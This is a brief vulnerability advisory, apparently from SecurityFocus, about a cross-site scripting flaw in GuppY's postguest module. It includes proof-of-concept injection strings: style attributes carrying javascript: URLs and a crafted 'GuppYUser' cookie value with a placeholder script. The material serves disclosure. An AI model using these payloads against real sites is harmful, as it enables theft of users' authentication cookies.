14 lines
No EOL
849 B
Text
14 lines
No EOL
849 B
Text
source: http://www.securityfocus.com/bid/8768/info
|
|
|
|
GuppY is reported to be prone to a cross-site scripting vulnerability due to insufficient sanitization of user-supplied input. The problem exists in the postguest module of the software. This issue may allow a remote attacker to execute HTML or script code in user's browser.
|
|
|
|
Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. Other attacks may also be possible.
|
|
|
|
- [l]" style="background:url('javascript:[SCRIPT]');visibility:hidden;[/l]
|
|
|
|
- [l][l] style=list-style:url(javascript:[SCRIPT]) truc=[/l][/l]
|
|
|
|
- With a cookie named "GuppYUser" and with the value :
|
|
fr||[NICK]||[MAIL]||LR||||on||<br
|
|
style="background:url('javascript:[SCRIPT]')">, if you send a message
|
|
(forum, guestbook,...) the javascript is executed. |